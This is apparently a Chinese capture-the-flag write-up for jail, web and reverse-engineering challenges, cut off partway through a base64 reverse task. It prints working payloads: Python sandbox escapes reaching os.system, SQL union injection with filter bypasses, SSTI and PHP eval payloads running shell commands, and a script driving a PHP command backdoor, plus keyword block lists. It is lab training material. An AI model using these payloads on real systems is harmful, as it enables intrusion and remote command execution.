^= xor_eq
{ <%
} %>
[ <:
] :>
# %:
## %:%:

所以说,我们可以使用<%来代替{,使用%>来代替},最终得到了如下的代码

1
2
3
void user_code() <%
printf("Hello, World!");
%>

经过b64编码后结果为dm9pZCB1c2VyX2NvZGUoKSA8JQoJcHJpbnRmKCJIZWxsbywgV29ybGQhIik7CiU+,然后输入到我们的做题区域里面,就能够得到flag了

可能的非预期做法

在Python源代码中,我们能够看到限制条件

1
2
3
4
5
6
7
8
9
10
11
12
13
def cpp_code_checker(code):
if "#include" in code:
return False, "Code is not allowed to include libraries"
if "#define" in code:
return False, "Code is not allowed to use macros"
if "{" in code or "}" in code:
return (
False,
"Code is not allowed to use `{` or `}`,but it needs to be a single function",
)
if len(code) > 100:
return False, "Code is too long"
return True, "Code is valid"

说是不能够使用#include#define{},但是其实#和后面的include或者define有空格,也能够被g++识别

也就是说,如果我按照下面这样子写

1
# define user_code() write(1, "Hello, World!", 13)

也能够成功定义user_code,让它写出Hello, World!,其中write中的1代表了标准输出,而13代表了我们输出的字符长度,Hello, World!的长度正是13

此外,本题目还有其他做法(详情请见官方WP => ez_jail | WriteUp - NewStar CTF 2024

pyjail(赛后做出)

咦?居然有一个神秘的 Python 程序跳出来,声称是无敌的「小小魔法牢笼」!它还傲娇地说,谁都别想逃出去!你作为超级聪明的魔法少女,怎么可能被困住嘛!不过,牢笼里面有好多限制,很多魔法(比如那些调用系统的咒语)都被封印了呢。

现在,考验你真正魔法实力的时候到了!快点动动你的小脑袋,在这个受限的环境里用智慧突破重重封印,找到被藏起来的 flag!你一定可以的,勇敢向前冲吧!

nc连接后输入source能够得到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
black_list = ['import','getattr','setattr','delattr','eval','exec','global','local','builtin','input','compile','help','breakpoint','license','byte','.','[','+','#','\'','"','{']

def check_ascii(code):
assert code.isascii()
def check_black_list(code):
for item in black_list:
assert item not in code,f'bad: {item}'

if __name__ == '__main__':
code = input('> ') + '\n'
while True:
_ = input()
if _ == 'EOF':
break
code += _ + '\n'

check_ascii(code)
check_black_list(code)
try:
exec(code)
except:
print('Exception!')

很明显就是禁用了很多常规的越狱手段,这时候看到参考文档

Week 5 | 参考文档 - NewStar CTF 2024

告诉我们要用match ... case的做法,在此之前,我先修改了一下题目给的源码,方便本地调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
black_list = [
"import",
"getattr",
"setattr",
"delattr",
"eval",
"exec",
"global",
"local",
"builtin",
"input",
"compile",
"help",
"breakpoint",
"license",
"byte",
".",
"[",
"+",
"#",
"'",
'"',
"{",
]


def check_ascii(code):
assert code.isascii()


def check_black_list(code):
try:
for item in black_list:
assert item not in code, f"bad: {item}"
except AssertionError:
print(f"bad: {item}")


if __name__ == "__main__":
while True:
code = input("> ") + "\n"
while True:
_ = input()
if _ == "EOF":
break
code += _ + "\n"

check_ascii(code)
check_black_list(code)
try:
print(exec(code))
except:
pass

首先我们按照题目的要求,构造我们需要的一些字符串

1
2
3
4
5
6
7
match str():
case str(join=join):
built = join(list((chr(95), chr(95), chr(98), chr(117), chr(105), chr(108), chr(116), chr(105), chr(110), chr(115), chr(95), chr(95)))) # __builtins__
imp = join(list((chr(95), chr(95), chr(105), chr(109), chr(112), chr(111), chr(114), chr(116), chr(95), chr(95)))) # __import__
os_str = join(list((chr(111), chr(115)))) # os
sys_str = join(list((chr(115), chr(121), chr(115), chr(116), chr(101), chr(109)))) # system
cmd = join(list((chr(99), chr(97), chr(116), chr(32), chr(47), chr(102), chr(108), chr(97), chr(103)))) # cat /flag

然后我们要获得os对象才能够执行system,但是我试了很久发现不行,去问了一下下unk

告诉我要看vars(),而vars说白了就是返回某个对象里面有些什么方法或者变量,以字典方式返回,但同时也要求此对象/变量为dict类型或者能被dict方式访问

所以我们照葫芦画瓢,match我们的vars(),然后case里面把dict的get方法弄出来

1
2
3
4
5
6
7
8
9
10
match vars():
case dict(get=get):
built_obj = vars(get(built))
match built_obj:
case dict(get=built_get):
os = vars(built_get(imp)(os_str))
match os:
case dict(get=os_get):
os_get(sys_str)(cmd)

这里可能有点难懂,我上一个GPT的解释(注意get=xxx里面xxx是方法绑定的变量)

1
2
match vars():
case dict(get=get):
  • vars() 返回当前局部变量的字典。case dict(get=get)get 方法绑定为 get 变量,允许在字典中查找键值。
1
built_obj = vars(get(built))
  • get(built) 返回 __builtins__ 对象,其中包含 Python 内置的所有模块、函数和变量。vars() 将其转换为字典存储在 built_obj 中。
1
2
match built_obj:
case dict(get=built_get):
  • built_obj 中的 get 方法绑定到 built_get,用于在 __builtins__ 中查找特定值。
1
os = vars(built_get(imp)(os_str))
  • 通过 built_get(imp)(os_str) 动态调用 __import__("os"),导入 os 模块。再通过 vars() 将其属性转换为字典,存储在 os 中。
1
2
match os:
case dict(get=os_get):
  • os 字典的 get 方法绑定为 os_get,以便后续查找 os.system
1
os_get(sys_str)(cmd)
  • 通过 os_get(sys_str) 找到 os.system 方法,执行 cmd(即 cat /flag 命令),从而读取文件内容。

然后把这些东西输入到题目里面,就得到flag了,flag为flag{U_R_the_m4ster_0f_Pyth0n_jai1!}

最后提交到题目,就正确了

WEB

headach3

头疼,帮我治治

【难度:签到】

提示很明显,让我们看相应标头(HEAD),就能够找到了

会赢吗

什么是控制台?js又是什么

本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:简单】

入学啦!

你考入了咒术高专
但是出门前你因为太兴奋而忘记了带录取通知书
你能找到录取通知书吗?

在开发者工具里面就能在注释里面找到入口了

掌握术式

开学第一课
五条老师传授给你们一种名为javascript的术式,这种术式可以在控制台进行一系列的应用
你能掌握js的用法吗?

在控制台可以发现js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}

// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");

用Hackbar来发起POST请求,就可以得到我们的这部分flag了

第二种做法

在html中修改按钮的属性,加上一个onclick="revealFlag('4cqu1siti0n')"再点一下就行了

被封印了

走不出的三年,走不出的苦夏
被羂索控制的夏油杰使用狱门疆封印了五条悟
你能救出五条老师吗?

打开控制台,还是能看到js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');

form.addEventListener('submit', async function (event) {
event.preventDefault();


if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}

try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});

if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});

这个csrf_token在上面一点点可以找到

1
2
3
4
<form id="seal_him" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">解封!!!</button>
</form>

还是用Hackbar来POST就行了

会赢吗?

会赢吗?
现代最强的归来,五条悟的复活宣言!
绝对的强者,由此而生的孤独,教会你爱的是….

还是可以找到相应的代码

1
2
3
4
<form id="winForm" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">会赢的!</button>
</form>

但是在下面的js代码中禁用了submit操作

1
2
3
4
5
6
7
8
9
10
11
12
document.querySelector('form').addEventListener('submit', function (event) {
event.preventDefault();
alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
});

(function () {
const originalConsoleLog = console.log;
console.log = function () {
originalConsoleLog.apply(console, arguments);
alert("你觉得你能这么简单地获取到线索?");
};
})();

所以还是掏出Hackbar

最后得到flag为ZmxhZ3tXQTB3IV95NF9yM2FsMXlfR3I0c1BfSkpKcyF9,显然编码过,base64解码出来是flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

智械危机

我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢

【难度:中等】

这道题,robots提示robots.txt,所以先进robots.txt看看

可以看到有个backd0or.php,访问一下,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function execute_cmd($cmd) {
system($cmd);
}

function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key); // $decoded_key为key的md5计算值
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i]; // 使命令反向
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>

这里要成功执行命令有两个点

  • 需要执行的命令放在cmd中,且需要用base64编码一次
  • 需要执行的命令的base64反向(即lsbHM=变成=MHb)的md5哈希值再base64编码后放在key里面

这里先尝试跑一个lsls经过b64编码为bHM=,然后再跑一个ls的b64逆向后md5再b64编码,结果为N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=,发现ls命令可以正常执行

所以我们现在要开始找flag的位置,先构建shell命令find / -iname "flag",所以cmd传入为ZmluZCAvIC1pbmFtZSAiZmxhZyI=

再把上面这个b64编码结果反向一下后md5再b64,得到MWQ4M2Y1MmNhMDk1ZjYwNGVhY2IwOGNjZDRmZWRhOTM=

运行后可以发现flag在/flag

再用同样的方式,执行的命令为cat /flag,b64编码后为Y2F0IC9mbGFn,key编码后为ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=

附上POC构造脚本

1
2
3
4
5
6
7
8
9
10
import hashlib
import base64

command = "cat /flag"

cmd = base64.b64encode(command.encode())
key = base64.b64encode(hashlib.md5(cmd[::-1]).hexdigest().encode())

poc = f"cmd={cmd.decode()}&key={key.decode()}"
print(poc)

得到flag

谢谢皮蛋

让我皮蛋看看Flag都藏哪了

【难度:困难】

这题谁出的呀太搞了hhhhhhhhh

Cypher: Where is everyone hiding???

Wingman: Pew pew~

在控制台中可以看到注释给了提示

提示里面告诉我们了解一下联合注入,我尝试了一下id=base64(1 UNION SELECT TABLE_NAME, TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = database(); --)(注:本文中base64()指用base64方式编码内部字符)

然后会发现返回了保安的位置,但是我要查询的数据库内的表格没出来

所以我估计是虽然我注释掉了LIMIT,但是PHP里面只接受一组结果,所以得让前面的查询无返回

经过我测试得知,id=1可以得到保安的位置,id=4可以得到奶妈的位置,所以避开这两个数字就行了

然后传入id=base64(10 UNION SELECT TABLE_NAME, TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = database(); --),可以得到结果

Name: “Fl4g”
Position: “Fl4g”

接着就是查询这个表中的列,传入id=base64(10 UNION SELECT GROUP_CONCAT(COLUMN_NAME SEPARATOR ", "), GROUP_CONCAT(COLUMN_NAME SEPARATOR ", ") AS combined_info FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = "Fl4g" --)后,可以得到Fl4g表格中拥有iddesvalue

Name: “id, des, value”
Position: “id, des, value”

然后我们再去查询desvalue,传入id=base64(10 UNION SELECT des, value FROM Fl4g --),得到最终的结果

Name: “C0ngratu1ati0ns!”
Position: “flag{36218e97-ec08-4b21-80c8-50ddfca4f026}”

PangBai 过家家(1)

今天我去孤儿院接走了 PangBai,孤儿院的老板连手续都没让我办,可是我一抱起 PangBai,她就嚎啕大哭起来,我陷入了信任危机,于是我打开了婴幼儿护理专业必读书目《图解 HTTP》。

(本题下发后,请通过http访问相应的ip和port,例如 nc ip port ,改为http://ip:port/)

【难度:中等】

这题的截图中的IP地址和端口会不一样,因为我后面重开容器了,主要是因为UA那一关没过,当时没搞出来是什么问题,后来发现是我在学校多设备上网在Openwrt里面改了UA,所以会一直导致不过

Level 1: 初出茅庐

教育孩子的第一步,就是学会如何倾听他们的声音。

PangBai 的头部(Header)里便隐藏着一些秘密,需要你主动去发现。

按下F12可以看到响应头里面有个location,就可以进入Level2了

Level 2: 云程发轫

有时主动的沟通,胜如缜密的推理。
正确的沟通会使事物朝着顺心的方向发展。

向 PangBai 询问(Query)一下(ask=miao)吧 ~

这里要我们传入query值,我们在网址后面加上?ask=miao

Level 3: 探赜索隐

理解是深入的途径,将心比心是有效沟通的方法论。
与孩子沟通的方式并不唯一,先入后导,顺其者自然。

用另一种方法(Method)打声招呼(say=hello)吧 ~

意思是用POST方法传入say=hello,用Hackbar就能搞定

Level 4: 不悱不发

不愤不启,不悱不发。因势利导,顺势而为。

你需要使用正确的方法(Method)来与 PangBai 沟通。

这里说我们要用正确的方法沟通,尝试最常用的GETPOST,发现POST是对的

然后告诉我们User-Agent要是Papa/1.1,所以我们改下UA。

Level 5: 渐入佳境

发现症结,直面矛盾。实事求是,平心相待。

PangBai 依然对你比较警惕,因此「玛卡巴卡阿卡哇卡米卡玛卡呣」或许是不可省略的。

这里以为有个302设置cookie的过程,所以会弹回去GET请求,我们用工具再改成POST请求

然后告诉我们要用PATCH方法提交一个补丁包,因为在yakit和burpsuite我没找到怎么发送patch请求,然后我用了Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://8.147.132.32:36002/?ask=miao"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5",
"Connection": "keep-alive",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.iHo5yUb8pak_0HbVHMt8yCzWsm5qBsq0573VWH2ElCk; Max-Age=86400; Path=/",
"Dnt": "1",
"Referer": "http://8.147.132.32:36002/?ask=miao",
"User-Agent": "Papa/1.0",
}

files = {"file": ("filename.zip", open("empty.zip", "rb"))}

data = {"say": "玛卡巴卡阿卡哇卡米卡玛卡呣"}

session = requests.Session()

response = session.patch(url, headers=headers, files=files, data=data)

print("html: ", response.text)
print(session.cookies)

这里的empty.zip是我随便新建的一个空的压缩文件,上传上去就有了,然后可以得到token

Level 6: 一方通行

「君子素其位而行,不愿乎其外。」
——《中庸·第十四章》

还在等什么?距离成为 PangBai 的亲人(localhost)只有一步之遥了呢!
这里的前方是一方通行啊!Level 6 可不是容易的!

提示我们要来自localhost,所以改X-Forwarded-For,可以通过

你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。
「像■■■■验体■■不可能■■■■ JWT 这种■■ Kjbikdq4AKSIwzT4 ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」
「……」

我们得到了个密钥为Kjbikdq4AKSIwzT4,也提示我们是JWT了,我们拿去验证一下,发现可以通过

然后我就修改了level后面的值为7,得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6N30.NrNzsxizJ8-EX3YYl93lJWWZ_8YvxBHGH17J4QC3Cd4,放进cookie里发现没有第七关

然后改了个0,出来了……

Level 0: 此心安处是吾乡

平凡的普通人,是世界的基调。无数平凡的人们,书写了波澜壮阔的历史。

「我将无我,不负人民。」

「PangBai!危险!PangBai!!PangBai!!!」从梦中醒来

在浏览器打开的时候,从梦中醒来这几个字可以点,然后就进入了剧情……

你能在一秒内打出八句英文吗

题目内容:

CAN YOU TRY

【难度:签到】

打开来是个网页,点击I Can就能够进入挑战,看起来这题是脚本题,所以写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import httpx
import re

HOST = "http://eci-2ze1p9tw7xzx0ganthsl.cloudeci1.ichunqiu.com"

START = "/start"
SUBMIT = "/submit"

client = httpx.Client()
paragraph_pattern = r"<p id=\"text\">([^<]*)</p>"

# Start the challenge
response = client.get(HOST + START)

result = "(not empty)"

while result:
try:
result = re.findall(paragraph_pattern, response.text)
response = client.post(HOST + SUBMIT, data={"user_input": result[0]})
except:
break

print(response.text)

然后就能得到flag了

遗失的拉链

题目内容:

我的拉链找不到了 你可以帮我找找吗

【难度:简单】

题目说了拉链这个关键词,所以想到网站目录下的zip文件,尝试下载www.zip发现可以下载,得到网站源码

看到里面有个pizwww.php,打开是个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";

}
}

要求query参数new的sha1值跟POST请求体重star的md5值相等,且两者自身不相等,而sha1和md5两种加密方式的长度本身就不相等,MD5的长度是32,而sha1是40,所以只能使用数组绕过,即传入数组,使得两个加密的结果均为null(下图为本地调试)

上面告诉我们不准我们用catflag(不区分大小写),所以我们要用别的方式,例如用chr函数,写个脚本构造payload

1
2
3
4
5
6
7
8
9
10
while True:
command = input("Command: ").replace("\n", "")
payload = ""
for char in command:
if payload:
payload += f".chr({ord(char)})"
else:
payload += f"chr({ord(char)})"
print("payload:", payload)

就可以直接用这个脚本帮我构建payload了

这里有个坑,我一开始传入的时候,用单引号包裹了我的chr链,导致chr不能正确运行,传入的时候并不需要包裹引号

我传入echo shell_exec('find / -iname "flag"');,payload写作echo%20shell_exec(chr(102).chr(105).chr(110).chr(100).chr(32).chr(47).chr(32).chr(45).chr(105).chr(110).chr(97).chr(109).chr(101).chr(32).chr(34).chr(102).chr(108).chr(97).chr(103).chr(34));,可以得到flag的位置为/flag

接着要传入echo shell_exec('cat /flag');,payload写作echo%20shell_exec(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103));,然后就能够读取到flag为flag{55fe44c0-c359-44ef-a820-aa7d125633bf}

复读机

你知道 人类的本质是……

【难度:困难】

这题因为叫复读机,所以我首先怀疑是SSTI,试了一下还真是

试着传入{{system('ls')}},但是报500错误了,应该是没有from os import system,但是确认了确实存在SSTI,接下来就是抄作业环节,直接去找现成的payload,传入().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' ),结果回复机器人讨厌上课(class)

说明了这题对class这个关键词做了过滤,我们就找找绕过class的payload,尝试传入{{""["__cla""ss__"]}},发现能正常使用

但是我尝试使用同样的方式绕过__subclass__,发现不行,所以换种思路

这时我看到了这篇文章 => SSTI进阶 | 沉铝汤的破站 (chenlvtang.top)

通过文章的方法可以实现绕过,我先传入{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('find / -iname flag').read()")}},发现了flag的位置为/flag

然后读出来就行了,传入{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}},得到flag为flag{9c71f48c-19a5-47a9-9903-89d2a7c3688a}

PangBai 过家家(2)(未做出)

PangBai 已经成为了我最亲的亲人,我将她反锁在房间内,随后照常去心理医院上班,但回来后却发现我的定居点被泄露了,我谨慎地走进房间,却发现后门开着,近处躺着倒下的 PangBai ——凶手从后门攻击了她,并带走了我的重要资料。我只身前往应战,并托蓬蓬头将 PangBai 送至医院。

【难度:中等】

与Git泄露有关,没弄出来,建议看官方wp

谢谢皮蛋 plus(未做出)

题目内容:

UR!POWERLESS!

【难度:中等】

尝试用上次用的Payload,但是被Kay/O沉默了

先确定什么东西被过滤了,我先试了一下id=base64(1=),发现可以正常通过,说明等号没有过滤

再尝试id=base64(1 1),发现弹U R Powerless,说明空格被过滤了

尝试id=base64(1/**/UNION),发现可以正常通过,说明UNION没有被过滤

尝试id=base64(1,1),发现可以正常通过,说明逗号,没有被过滤

尝试id=base64(1()1),发现可以正常通过,说明()没有被过滤

尝试id=base64(1/**/1.1),发现可以正常通过,说明.没有被过滤

(以上省略众多测试过程)

经过尝试,发现空格被过滤了,常用的逗号、小括号、点、SELECTWHERE-没有被过滤

所以初步判断是空格过滤,空格过滤可以用/**/来代替空格(就像上面我测试使用的那样)

初步构造payload:id=base64(1/**/UNION/**/SELECT/**/TABLE_NAME,/**/TABLE_NAME/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/=/**/database();/**/--)发现可以通过,但是也只是处理了一个结果,所以把1改为其他的数字(我改成10),即变成id=base64(10/**/UNION/**/SELECT/**/TABLE_NAME,/**/TABLE_NAME/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/=/**/database();/**/--),发现没有回显,应该是报错了

在本地写了个测试用的服务器去测试

本地服务器代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, jsonify
import mysql.connector
from mysql.connector import Error

app = Flask(__name__)

def create_connection():
try:
connection = mysql.connector.connect(
host="localhost",
user="root",
password="password",
port=3306
)
if connection.is_connected():
return connection
except Error as e:
print(f"Error while connecting to MySQL: {e}")
return None

def setup_database():
connection = create_connection()
if connection:
try:
cursor = connection.cursor()
cursor.execute("CREATE DATABASE IF NOT EXISTS wingman;")
cursor.execute("USE wingman;")

cursor.execute("""
CREATE TABLE IF NOT EXISTS hexo (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255),
pos VARCHAR(255)
);
""")

cursor.execute("INSERT IGNORE INTO hexo (id, name, pos) VALUES (1, 'Cypher', 'Mid');")

cursor.execute("""
CREATE TABLE IF NOT EXISTS flag (
id INT AUTO_INCREMENT PRIMARY KEY,
des VARCHAR(255),
value VARCHAR(255)
);
""")

cursor.execute("INSERT IGNORE INTO flag (id, des, value) VALUES (1, 'test', 'flag{test}');")

connection.commit()
cursor.close()
except Error as e:
print(f"Error during setup: {e}")
finally:
connection.close()

@app.route('/query', methods=['GET'])
def query_db():
user_query = request.args.get('query')
if not user_query:
return jsonify({"error": "No query provided."}), 400

connection = create_connection()
if connection:
try:
cursor = connection.cursor(dictionary=True)
cursor.execute("USE wingman;")
cursor.execute(f"SELECT name, pos FROM hexo WHERE id={user_query}")
result = cursor.fetchall()
cursor.close()
return jsonify(result), 200
except Error as e:
return jsonify({"error": str(e)}), 500
finally:
connection.close()
else:
return jsonify({"error": "Failed to connect to database."}), 500

if __name__ == '__main__':
setup_database()
app.run(host='0.0.0.0', port=5000, debug=True)

发现这个payload会提示1271 (HY000): Illegal mix of collations for operation 'UNION'

没遇到过,问问GPT,GPT说是查询结果的不同列有着不兼容的字符集或排序规则(collation),导致 MariaDB/MySQL 无法正确处理查询

所以改一下payload,让它能够统一,即变成了10/**/UNION/**/SELECT/**/TABLE_NAME/**/COLLATE/**/utf8_general_ci,/**/TABLE_NAME/**/COLLATE/**/utf8_general_ci/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/=/**/database();/**/--

已知10在它的表格里面没有对应的东西,所以第一个查询是没有输出的,但是第二个查询我发现也没有输出,有可能是用户权限没给够

所以试试上周的payload,直接用10/**/UNION/**/SELECT/**/GROUP_CONCAT(COLUMN_NAME/**/SEPARATOR/**/","),/**/GROUP_CONCAT(COLUMN_NAME/**/SEPARATOR/**/",")/**/AS/**/combined_info/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/database()/**/AND/**/TABLE_NAME/**/=/**/"Fl4g"/**/--,发现弹U R Powerless,说明还有过滤的内容

试一下带双引号进去,发现报错了,说明上面没有输出只是因为没有结果,而不是报错了

做到这里,我先综上一下

  • 题目过滤了空格,空格可以用/**/代替
  • 题目限制了一个输出,查询语句应该是SELECT (name, pos) FROM <table> WHERE id=<id> LIMIT 0,1;
  • 题目使用的是MariaDB

结果就是……没做出来……

臭皮踩踩背

老爷爷,为了给你踩背,我一定要从这里逃出去!!!

【难度:简单】

这真是web题吗……

nc进去,给了我们一段代码

说白了就是__builtin__为空,用不了Python自己的各种函数了,但是留下了一个名为f的函数给我们用,我们直接用函数的全局域做就好了

直接输入f.__globals__['__builtins__'].__import__('os').system('ls'),可以看到flag就在当前目录下

所以把命令改为cat flag,变成f.__globals__['__builtins__'].__import__('os').system('cat flag')就能出来了

得到flag为flag{ed808f50-1726-47df-9a8c-4686a72fd94b},顺路拿下二血

Include Me(未解出)

兄弟包一下

【难度:中等】

打开了是PHP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

访问http://eci-2ze2ynefkfws5k23ymiv.cloudeci1.ichunqiu.com/?iknow&phpinfo,给phpinfo的query参数,看看服务端开启了什么伪协议,搜索Registered PHP Streams,可以看到服务端开启了httpsftpscompress.zlibphpfileglobdatahttpftpphar伪协议,搞了半天没出来,跑!

臭皮的计算机

豌豆送给了臭皮一个特制计算机,你能帮助臭皮找到豌豆的秘密吗?

【难度:中等】

进来让我们访问/calc目录,然后告诉我们只能够输入数字

根据参考文档,这个是一个Python中eval函数的逃逸,但是仅限输入数字

然而,Python中的八进制是以\开头的,也就是说我可以尝试输入\开头表示的一串内部变量试试,我先尝试了\137\137\142\165\151\154\164\151\156\163\137\137__builtins__),可以看到正常识别了

所以接下来调用__builtins__.eval就可以了,先写一个字符串转八进制的工具

1
2
3
4
5
6
while True:
data = input("Your code: ")
payload = ""
for char in data:
payload += oct(ord(char)).replace("0o", "\\")
print(payload)

然后就开始玩了,我先尝试查找flag的位置,使用的linux命令为find / -iname "flag",但是要使用os命令还需要import一下,所以我的命令应该是这样的

1
__import__("os").popen("find / -iname 'flag'").read()

变成八进制编码为\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\160\157\160\145\156\50\42\146\151\156\144\40\57\40\55\151\156\141\155\145\40\47\146\154\141\147\47\42\51\56\162\145\141\144\50\51,POST出去能发现flag的位置为/flag

那就改下命令,使用

1
__import__("os").popen("cat /flag").read()

读取出来就能得到flag了,为flag{392252c7-0ca5-4e76-bbd2-1000ab6f616a}

REVERSE

base64

仍然是base64

【难度:简单】

通过xdbg动态调试可以发现里面的一些字符串

上面的应该是提示,下面的这部分是在输入flag后进行比较的部分,但是经过动态调试,它用于比较的值并不是我们输入的flag经过b64编码,而是固定为j4AvAcBkn6LduUAkhDBd5YBDI2ATc=

经过字符串查找我们现在有两段可能有用的内容

  • WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/
  • g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=

还有一段固定比较的内容

  • j4AvAcBkn6LduUAkhDBd5YBDI2ATc=

其中,第一段内容前面应该是Why do this table look strange,应该是提示我们换表了

我在这里先尝试把表弄出来,进行了几个字符串的编码,在汇编中还可以看到对flag进行b64编码后换表的操作前要求我们输入的长度为26

所以我分别用abcdefghijklmnopqrstuvwxyz12345678901234567890123456qwertyuiopasdfghjklzxcvbnm!@#$%^&*()!@#$%^&*()!@#$%^1/2*3-4+5/6*7-8+9-/0/00000进行base64编码和丢进这个程序里进行编码,得到了下面的几个字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
original_strings = [
"YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo=",
"MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY=",
"cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm0=",
"IUAjJCVeJiooKSFAIyQlXiYqKCkhQCMkJV4=",
"MS8yKjMtNCs1LzYqNy04KzktLzAvMDAwMDA="
]

mapped_strings = [
"nrivgst8gYGKe8mj+r2zCT3MC6O9Z1ZqfaN=",
"AkhDBd5YBDI2AdoMADl9BvCqLkW4AvAcBkn=",
"CaZpC1O2ZrpzCs3Dgsg1esKb+TKqn6gR+8c=",
"h5WviytfiRNNS03WhMlpaRnQSyuGlyAuitq=",
